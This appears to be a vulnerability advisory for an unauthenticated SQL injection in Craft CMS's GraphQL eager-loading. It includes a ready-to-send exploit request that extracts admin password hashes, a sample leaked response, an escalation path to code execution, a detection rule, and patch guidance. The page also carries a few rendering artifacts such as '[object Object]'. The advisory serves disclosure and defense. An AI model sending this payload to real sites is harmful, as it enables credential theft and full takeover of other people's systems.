Skip to content

CVE-2026-123491: Craft CMS Unauthenticated SQL Injection via GraphQL Eager-Load Select Arguments

Density:
C-Level Executive Briefing CVE-2026-123491 CRITICAL SCORE 91/100

A high-severity SQL injection vulnerability in Craft CMS (affecting releases across branches 4.x and 5.x) enables remote unauthenticated attackers to execute arbitrary SQL subqueries and extract sensitive database contents. Tracked under GitHub advisory GHSA-mjj9-pjh4-r48g and cataloged as weaponized by VulnCheck, the vulnerability exists in the GraphQL query preparation service (craft\\services\\Gql::prepareEagerLoadPlan()). When processing eager-loaded relationship queries, arguments supplied on eager-loadable nodes that are absent from the public GraphQL schema are directly transferred into database query criteria without validation. By injecting parenthesized SELECT subqueries via the select argument, an attacker can extract administrator password hashes, session tokens, and application encryption keys (SECURITY_KEY). Possession of the SECURITY_KEY directly enables authenticated cookie forgery and PHP object deserialization, elevating this flaw to a critical Remote Code Execution vector. Hermes scores CVE-2026-123491 at HTS 91 (CRITICAL).

HYBRID

HERMES THREAT SCORE & WEB CMS DATA PLANE INTEGRITY EVALUATION

Target: Craft CMS GraphQL Eager-Loading Engine (craft\services\Gql::prepareEagerLoadPlan)
Confidence: 98%
91 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 18 / 20
Weaponization 19 / 20
Exposure 19 / 20
Prevalence 18 / 20
Impact 19 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

[object Object]

On November 7, 2026, Pixel & Tonic and the GitHub Security Advisory database disclosed CVE-2026-123491 (GHSA-mjj9-pjh4-r48g), a critical unauthenticated SQL injection vulnerability affecting Craft CMS. VulnCheck cataloged the vulnerability as weaponized following public proof-of-concept availability and scanning telemetry against enterprise media and e-commerce web properties.

Craft CMS is an enterprise PHP content management system powering headless architectures, digital publishing platforms, and corporate web portals. In headless deployments, the GraphQL API (/api or /actions/graphql/api) is enabled by default to feed dynamic frontends. Because the vulnerability requires no user account or authorization headers, external actors can send single HTTP POST requests with crafted GraphQL payloads to dump the entire relational database (MySQL or PostgreSQL), extract system secrets, and pivot to complete application compromise.

flowchart TD
subgraph Public["Public Internet"]
Attacker["Remote Unauthenticated Attacker"]
GraphQLReq["HTTP POST /api\nGraphQL Query with Eager-Load Arguments"]
end
subgraph CraftEngine["Craft CMS Application Tier"]
Endpoint["GraphQL Dispatcher (/api)"]
GqlService["craft\\services\\Gql"]
EagerPlan["prepareEagerLoadPlan()\nMissing Argument Whitelisting"]
QueryBuilder["Yii2 QueryBuilder\nRaw SELECT Expression Concatenation"]
end
subgraph Database["Database Tier (MySQL / PostgreSQL)"]
UsersTable["{{%users}} Table\n(Password Hashes & Auth Tokens)"]
ConfigTable["{{%info}} & .env\n(Application SECURITY_KEY)"]
end
Attacker -->|Sends Malicious Query| GraphQLReq
GraphQLReq --> Endpoint
Endpoint --> GqlService
GqlService --> EagerPlan
EagerPlan -->|Unsanitized select Argument| QueryBuilder
QueryBuilder -->|Executes Injected Subquery| UsersTable
QueryBuilder -->|Dumps Encryption Secrets| ConfigTable
ConfigTable -->|Exfiltrated Data| Attacker

The vulnerability stems from the interaction between Craftโ€™s GraphQL service and its relational eager-loading subsystem (craft\services\Gql.php).

In GraphQL, retrieving nested relationships (for example, blog entries alongside their author profiles and uploaded image assets) can easily induce the N+1 database query problem. To optimize execution, Craft CMS implements EagerLoadPlan, which batches related element queries using Yii 2 database abstractions.

When an incoming GraphQL query specifies arguments on a relation node (e.g., entries(select: "...")), the prepareEagerLoadPlan() method extracts all provided arguments and passes them into the criteria array of the target element query. Critically, because eager-loadable relation nodes in Craftโ€™s GraphQL schema do not define explicit argument validation rules, the schema validation phase silently permits unknown arguments.

// Deconstructed from Craft CMS src/services/Gql.php before patch 4.18.9 / 5.11.2
namespace craft\services;
use craft\base\ElementInterface;
use craft\elements\db\ElementQuery;
use yii\base\Component;
class Gql extends Component
{
public function prepareEagerLoadPlan(array $fields, ElementInterface $source): array
{
$plan = [];
foreach ($fields as $fieldName => $fieldConfig) {
if ($this->isEagerLoadable($fieldName)) {
$criteria = [];
// VULNERABILITY: Arguments from GraphQL input are merged without validation
if (isset($fieldConfig['args'])) {
foreach ($fieldConfig['args'] as $argName => $argValue) {
// The argument 'select' is directly passed into criteria!
$criteria[$argName] = $argValue;
}
}
// When ElementQuery executes, $criteria['select'] is passed raw to QueryBuilder:
// $query->select($criteria['select']);
$plan[] = [
'elementType' => $this->getElementType($fieldName),
'criteria' => $criteria,
];
}
}
return $plan;
}
}

When Yii 2โ€™s yii\db\QueryBuilder::buildSelect() encounters a string or array containing a parenthesized expression, it assumes the developer intended a raw database expression or subquery and suppresses column-quoting safeguards:

SELECT `elements`.`id`, (SELECT password FROM craft_users WHERE admin=1 LIMIT 1) AS `leak`
FROM `craft_entries` `elements`
JOIN `craft_elements` ON ...

The database evaluates the subquery and reflects the output directly in the GraphQL JSON response, achieving high-throughput, unauthenticated in-band data exfiltration.


An attacker can exploit this vulnerability using a single HTTP request to the public GraphQL endpoint.

sequenceDiagram
autonumber
actor Attacker as Threat Actor
participant Web as Craft CMS Public Web Node
participant GQL as craft\services\Gql
participant DB as MariaDB / PostgreSQL
Note over Attacker,Web: Step 1: Probe Public GraphQL Endpoint
Attacker->>Web: POST /api ({"query": "{ entries { id } }"})
Web-->>Attacker: HTTP 200 OK (GraphQL Endpoint Active)
Note over Attacker,GQL: Step 2: Inject Parenthesized Subquery in Eager Load
Attacker->>Web: POST /api with Eager-Load 'select' Payload
Web->>GQL: prepareEagerLoadPlan()
Note over GQL: 'select' argument copied directly to criteria
GQL->>DB: Executes SQL with subquery: (SELECT email FROM craft_users LIMIT 1)
DB-->>GQL: Returns Admin Email & Hash
GQL-->>Web: Formats GraphQL Response
Web-->>Attacker: HTTP 200 OK (Data Exfiltrated in JSON)
Note over Attacker,Web: Step 3: Extract SECURITY_KEY & Escalate to RCE
Attacker->>Web: Subquery extracts SECURITY_KEY from .env / info
Note over Attacker: Attacker crafts forged session cookie (Yii2 deserialization)
Attacker->>Web: GET /admin/dashboard with forged cookie
Web-->>Attacker: Full Administrator Shell / RCE
POST /api HTTP/1.1
Host: cms.target-organization.com
Content-Type: application/json
Accept: application/json
{
"query": "query { entries { id ... on entry_default_Entry { author(select: [\"(SELECT CONCAT(username, ':', password, ':', email) FROM craft_users WHERE admin = 1 LIMIT 1)\"]) { id name } } } }"
}

The server responds with:

{
"data": {
"entries": [
{
"id": "104",
"author": {
"id": "1",
"(SELECT CONCAT(username, ':', password, ':', email) FROM craft_users WHERE admin = 1 LIMIT 1)": "admin:$2y$13$X7y8Z...:secops@target-organization.com"
}
}
]
}
}

Detection strategies require monitoring web application logs for GraphQL endpoints and inspecting relational database query logs for abnormal nested sub-selects.

title: Craft CMS Unauthenticated GraphQL SQL Injection
id: b34198fa-1123-491a-8e2b-craftcve2026123491
status: experimental
description: Detects SQL injection payloads targeting Craft CMS GraphQL eager-load criteria via the 'select' argument.
references:
- https://github.com/craftcms/cms/security/advisories/GHSA-mjj9-pjh4-r48g
- https://vulncheck.com/advisories/craft-cms-4.0.0-before-4.18.9-unauthenticated-sql-injection-via-graphql-eager-load-select
author: Hermes Codex Cyber Defense Team
date: 2026-11-07
logsource:
category: webserver
product: craftcms
detection:
selection_post:
cs-method: 'POST'
cs-uri-stem|contains:
- '/api'
- '/actions/graphql/api'
- '/graphql'
selection_payload:
cs-uri-query|contains|all:
- 'select'
- 'SELECT'
selection_body:
# When web server or WAF logs request body
request_body|contains:
- 'select:'
- '(SELECT'
- 'craft_users'
condition: selection_post and (selection_payload or selection_body)
falsepositives:
- Legitimate custom GraphQL queries explicitly whitelisted by internal backend microservices.
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.t1552
- cve.2026.123491

System administrators and web engineering teams must immediately upgrade Craft CMS installations across all production, staging, and container environments.

Upgrade to the official security patches released by Pixel & Tonic via Composer:

  • Craft 4.x Deployments: Update to version 4.18.9 or higher:
    Terminal window
    composer require "craftcms/cms:4.18.9" --update-with-all-dependencies
    php craft migrate/all
  • Craft 5.x Deployments: Update to version 5.11.2 or higher:
    Terminal window
    composer require "craftcms/cms:5.11.2" --update-with-all-dependencies
    php craft migrate/all

If Composer upgrades require staging deployment cycles, implement the following immediate mitigations:

  1. Disable Public GraphQL Schemas: In the Craft Control Panel, navigate to GraphQL > Schemas. Ensure the โ€œPublic Schemaโ€ is disabled or restricted to authenticated API tokens. If headless frontends require public reads, configure field-level permissions to exclude sensitive relations.
  2. Web Application Firewall (WAF) Rule: Deploy a WAF rule blocking HTTP POST requests to /api, /graphql, and /actions/graphql/* containing the string pattern select: combined with SQL keywords (SELECT, UNION, CONCAT, SLEEP).
  3. Database Privilege Minimization: Ensure the database user configured in config/db.php does not possess FILE, SUPER, or administrative privileges, preventing attacks from writing arbitrary web shells via SELECT ... INTO OUTFILE.